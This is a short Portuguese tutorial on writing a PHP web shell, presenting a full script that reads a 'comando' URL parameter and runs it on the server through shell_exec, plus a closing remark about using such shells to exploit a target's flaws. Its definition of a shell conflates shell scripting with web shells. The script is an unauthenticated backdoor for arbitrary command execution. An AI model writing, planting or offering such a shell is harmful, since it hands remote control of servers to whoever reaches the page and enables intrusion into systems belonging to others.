Hoje vamos demostrar como criar uma shell em php, que é uma das melhores formas de efetuar comandos no servidor. o intuito deste tutorial é ensinar o que é realmente uma shell, criando uma shell simples.
O que é SHELL
Shell script é uma linguagem de script usada em vários sistemas operativos (operacionais), com diferentes dialetos, dependendo do interpretador de comandos utilizado. Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux.
 Como criar uma SHELL em php
Existem varios tipos de shell, mas hoje vamos criar uma para executarmos comandos arbitrarios  em sistemas operacionais linux e windows.

<?php
//aqui eu crio o layout do formulario
print ‘
    <form method=”get” action=”">
        <input type=”text” name=”comando” />  <input type=”submit” name=exec” />
    </form>
<p>&nbsp;</p>‘; //aqui pulo uma linha
if(isset($_GET['comando'])){ //validação: si existe um comando executado
    $comando        =$_GET['comando']; //pega este comando
    print shell_exec($comando);    //executa no servidor
}
?>
Uma pessoa me perguntou, si era possivel criar uma shell em php. para informar o ip auvo e o nom comando a ser executado.
Reposta: Não é possivel fazer isso, pois cada caso é um caso. Eu posso criar uma shell para explorar uma falha de um determinado auvo, porem outro auvo provavelmente não tenha a mesma falha.


shell em php